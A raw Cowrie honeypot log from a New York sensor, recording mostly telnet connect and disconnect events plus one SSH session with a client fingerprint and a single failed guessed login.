{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49470,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff5296286da2","protocol":"telnet","message":"New connection: 62.210.97.77:49470 (10.17.0.5:23) [session: ff5296286da2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:53:01.650146Z"}
{"eventid":"cowrie.session.closed","duration":34.12120604515076,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:53:01.790634Z","src_ip":"62.210.97.77","session":"637824bd1f9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":38724,"dst_ip":"10.17.0.5","dst_port":23,"session":"a53e329231bc","protocol":"telnet","message":"New connection: 38.54.119.93:38724 (10.17.0.5:23) [session: a53e329231bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:53:04.503822Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":50300,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ccb5b25859a","protocol":"telnet","message":"New connection: 65.60.27.33:50300 (10.17.0.5:23) [session: 8ccb5b25859a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:53:05.475254Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49476,"dst_ip":"10.17.0.5","dst_port":23,"session":"14ec3d63c6f0","protocol":"telnet","message":"New connection: 62.210.97.77:49476 (10.17.0.5:23) [session: 14ec3d63c6f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:53:05.897026Z"}
{"eventid":"cowrie.session.closed","duration":31.733116626739502,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:53:09.031733Z","src_ip":"62.210.97.77","session":"02d0133b1259","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.492239236831665,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:53:12.286185Z","src_ip":"165.232.131.181","session":"60157f94b9b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50072,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bc23a1e0fda","protocol":"telnet","message":"New connection: 62.210.97.77:50072 (10.17.0.5:23) [session: 4bc23a1e0fda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:53:12.516369Z"}
{"eventid":"cowrie.session.closed","duration":50.28217816352844,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:53:13.075887Z","src_ip":"165.232.131.181","session":"5bee12af4138","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.8743851184845,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:53:15.359294Z","src_ip":"62.210.97.77","session":"09147de92918","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50076,"dst_ip":"10.17.0.5","dst_port":23,"session":"66b1affc234b","protocol":"telnet","message":"New connection: 62.210.97.77:50076 (10.17.0.5:23) [session: 66b1affc234b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:53:17.540189Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":48662,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c8d542509fd","protocol":"telnet","message":"New connection: 38.54.119.93:48662 (10.17.0.5:23) [session: 5c8d542509fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:53:19.182589Z"}
{"eventid":"cowrie.session.closed","duration":120.0017077922821,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:53:19.852232Z","src_ip":"165.232.131.181","session":"d318c9a20934","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.88016486167908,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:53:21.036036Z","src_ip":"65.60.27.33","session":"5055bc50f762","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.1453492641449,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:53:23.435156Z","src_ip":"62.210.97.77","session":"41b157fcda82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.009758949279785,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:53:23.554446Z","src_ip":"62.210.97.77","session":"32fd125844a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.88924479484558,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:53:24.833080Z","src_ip":"62.210.97.77","session":"842184ed1c84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42484,"dst_ip":"10.17.0.5","dst_port":23,"session":"651a6345db69","protocol":"telnet","message":"New connection: 62.210.97.77:42484 (10.17.0.5:23) [session: 651a6345db69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:53:26.064600Z"}
{"eventid":"cowrie.session.closed","duration":35.191163301467896,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:53:27.603741Z","src_ip":"62.210.97.77","session":"34c34f031471","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.48109579086304,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:53:29.316728Z","src_ip":"65.60.27.33","session":"8555af4637fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.40969157218933,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:53:32.059687Z","src_ip":"62.210.97.77","session":"ff5296286da2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.21289277076721,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:53:34.953552Z","src_ip":"165.232.131.181","session":"9cf8e57bab55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.79168248176575,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:53:35.308920Z","src_ip":"62.210.97.77","session":"260776058e95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45208,"dst_ip":"10.17.0.5","dst_port":23,"session":"f12a5f659d67","protocol":"telnet","message":"New connection: 62.210.97.77:45208 (10.17.0.5:23) [session: f12a5f659d67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:53:35.349180Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":42624,"dst_ip":"10.17.0.5","dst_port":23,"session":"c63ca5b877b3","protocol":"telnet","message":"New connection: 165.232.131.181:42624 (10.17.0.5:23) [session: c63ca5b877b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:53:35.596457Z"}
{"eventid":"cowrie.session.closed","duration":37.2088565826416,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:53:36.172369Z","src_ip":"65.60.27.33","session":"abbf7c93d034","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":42506,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b0a08e770ec","protocol":"telnet","message":"New connection: 165.232.131.181:42506 (10.17.0.5:23) [session: 1b0a08e770ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:53:36.203101Z"}
{"eventid":"cowrie.session.closed","duration":35.64455699920654,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:53:36.300712Z","src_ip":"65.60.27.33","session":"28e47d6cfd77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.189550161361694,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:53:38.054261Z","src_ip":"38.54.119.93","session":"e17dfcd246c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.022454023361206,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:53:42.506340Z","src_ip":"38.54.119.93","session":"1e7babd53b0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.42615795135498,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:53:43.823376Z","src_ip":"65.60.27.33","session":"30ca05f49feb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":37536,"dst_ip":"10.17.0.5","dst_port":23,"session":"51d10b09812d","protocol":"telnet","message":"New connection: 65.60.27.33:37536 (10.17.0.5:23) [session: 51d10b09812d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:53:43.955211Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":38456,"dst_ip":"10.17.0.5","dst_port":23,"session":"dec10f74ccd0","protocol":"telnet","message":"New connection: 65.60.27.33:38456 (10.17.0.5:23) [session: dec10f74ccd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:53:44.542335Z"}
{"eventid":"cowrie.session.closed","duration":49.6436972618103,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:53:44.552927Z","src_ip":"38.54.119.93","session":"959c6d513569","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.50224804878235,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:53:45.399151Z","src_ip":"62.210.97.77","session":"14ec3d63c6f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":38506,"dst_ip":"10.17.0.5","dst_port":23,"session":"69ed2017bf19","protocol":"telnet","message":"New connection: 65.60.27.33:38506 (10.17.0.5:23) [session: 69ed2017bf19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:53:45.595319Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":37724,"dst_ip":"10.17.0.5","dst_port":23,"session":"d26bdce0d372","protocol":"telnet","message":"New connection: 38.54.119.93:37724 (10.17.0.5:23) [session: d26bdce0d372]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:53:45.982466Z"}
{"eventid":"cowrie.session.closed","duration":35.612401247024536,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:53:48.128663Z","src_ip":"62.210.97.77","session":"4bc23a1e0fda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.700486183166504,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:53:48.175662Z","src_ip":"65.60.27.33","session":"8ccb5b25859a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.98823118209839,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:53:48.491954Z","src_ip":"38.54.119.93","session":"a53e329231bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.241079330444336,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:53:52.781104Z","src_ip":"62.210.97.77","session":"66b1affc234b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.03550982475281,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:53:52.879000Z","src_ip":"165.232.131.181","session":"8e7360612d19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48522,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1a64ee2e412","protocol":"telnet","message":"New connection: 62.210.97.77:48522 (10.17.0.5:23) [session: c1a64ee2e412]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:53:56.463675Z"}
{"eventid":"cowrie.session.closed","duration":33.84900641441345,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:53:59.913532Z","src_ip":"62.210.97.77","session":"651a6345db69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":46200,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfefd690f0d2","protocol":"telnet","message":"New connection: 38.54.119.93:46200 (10.17.0.5:23) [session: dfefd690f0d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:54:00.176827Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":60444,"dst_ip":"10.17.0.5","dst_port":23,"session":"7646fcf5f0a1","protocol":"telnet","message":"New connection: 62.210.97.77:60444 (10.17.0.5:23) [session: 7646fcf5f0a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:54:05.466010Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":50982,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c83c3c2f51f","protocol":"telnet","message":"New connection: 38.54.119.93:50982 (10.17.0.5:23) [session: 3c83c3c2f51f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:54:06.241166Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":53788,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bcfce36ca31","protocol":"telnet","message":"New connection: 165.232.131.181:53788 (10.17.0.5:23) [session: 6bcfce36ca31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:54:06.994226Z"}
{"eventid":"cowrie.session.closed","duration":7.6662983894348145,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:54:07.842998Z","src_ip":"38.54.119.93","session":"dfefd690f0d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.407830238342285,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:54:09.590335Z","src_ip":"38.54.119.93","session":"5c8d542509fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.5255377292633057,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:54:09.766567Z","src_ip":"38.54.119.93","session":"3c83c3c2f51f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":54026,"dst_ip":"10.17.0.5","dst_port":23,"session":"24f883cee972","protocol":"telnet","message":"New connection: 38.54.119.93:54026 (10.17.0.5:23) [session: 24f883cee972]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:54:11.048900Z"}
{"eventid":"cowrie.session.closed","duration":36.59330916404724,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:54:11.942385Z","src_ip":"62.210.97.77","session":"f12a5f659d67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":53066,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c41bb38a303","protocol":"telnet","message":"New connection: 165.232.131.181:53066 (10.17.0.5:23) [session: 1c41bb38a303]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:54:12.995727Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":56078,"dst_ip":"10.17.0.5","dst_port":23,"session":"9791d86bf681","protocol":"telnet","message":"New connection: 165.232.131.181:56078 (10.17.0.5:23) [session: 9791d86bf681]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:54:13.623507Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":44146,"dst_ip":"10.17.0.5","dst_port":23,"session":"a017e2deca10","protocol":"telnet","message":"New connection: 65.60.27.33:44146 (10.17.0.5:23) [session: a017e2deca10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:54:14.459187Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":56430,"dst_ip":"10.17.0.5","dst_port":23,"session":"8aa7a92a1c09","protocol":"telnet","message":"New connection: 165.232.131.181:56430 (10.17.0.5:23) [session: 8aa7a92a1c09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:54:14.625616Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45658,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5b7985c233c","protocol":"telnet","message":"New connection: 62.210.97.77:45658 (10.17.0.5:23) [session: b5b7985c233c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:54:15.550449Z"}
{"eventid":"cowrie.session.closed","duration":41.006906032562256,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:54:16.603257Z","src_ip":"165.232.131.181","session":"c63ca5b877b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.070780992507935,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:54:17.066417Z","src_ip":"165.232.131.181","session":"1c41bb38a303","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.1103355884552,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:54:17.159120Z","src_ip":"38.54.119.93","session":"24f883cee972","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":59644,"dst_ip":"10.17.0.5","dst_port":23,"session":"b80eb054a8ab","protocol":"telnet","message":"New connection: 38.54.119.93:59644 (10.17.0.5:23) [session: b80eb054a8ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:54:19.337522Z"}
{"eventid":"cowrie.session.closed","duration":46.93989825248718,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:54:23.142903Z","src_ip":"165.232.131.181","session":"1b0a08e770ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.86272692680359,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:54:23.817857Z","src_ip":"65.60.27.33","session":"51d10b09812d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.45815086364746,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:54:24.000366Z","src_ip":"65.60.27.33","session":"dec10f74ccd0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.939032316207886,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:54:25.921408Z","src_ip":"38.54.119.93","session":"d26bdce0d372","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.36925268173218,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:54:30.964435Z","src_ip":"65.60.27.33","session":"69ed2017bf19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.75857591629028,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:54:31.222156Z","src_ip":"62.210.97.77","session":"c1a64ee2e412","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":40556,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccefba8f58db","protocol":"telnet","message":"New connection: 38.54.119.93:40556 (10.17.0.5:23) [session: ccefba8f58db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:54:32.846533Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.128.112.74","src_port":43120,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b82a353e1d0","protocol":"ssh","message":"New connection: 78.128.112.74:43120 (159.203.135.109:22) [session: 8b82a353e1d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:54:34.381631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:54:34.386738Z","src_ip":"78.128.112.74","session":"8b82a353e1d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:54:34.516675Z","src_ip":"78.128.112.74","session":"8b82a353e1d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"2023!","message":"login attempt [user/2023!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:54:35.319031Z","src_ip":"78.128.112.74","session":"8b82a353e1d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:54:36.443520Z","src_ip":"78.128.112.74","session":"8b82a353e1d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":52740,"dst_ip":"10.17.0.5","dst_port":23,"session":"99d3d74a4b36","protocol":"telnet","message":"New connection: 165.232.131.181:52740 (10.17.0.5:23) [session: 99d3d74a4b36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:54:36.875827Z"}
{"eventid":"cowrie.session.closed","duration":0.004889965057373047,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:54:36.880629Z","src_ip":"165.232.131.181","session":"99d3d74a4b36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":42376,"dst_ip":"10.17.0.5","dst_port":23,"session":"963df8253a7f","protocol":"telnet","message":"New connection: 65.60.27.33:42376 (10.17.0.5:23) [session: 963df8253a7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:54:37.977286Z"}
{"eventid":"cowrie.session.closed","duration":33.2565860748291,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:54:38.722275Z","src_ip":"62.210.97.77","session":"7646fcf5f0a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":45164,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c2012e7dd37","protocol":"telnet","message":"New connection: 38.54.119.93:45164 (10.17.0.5:23) [session: 4c2012e7dd37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:54:40.512048Z"}
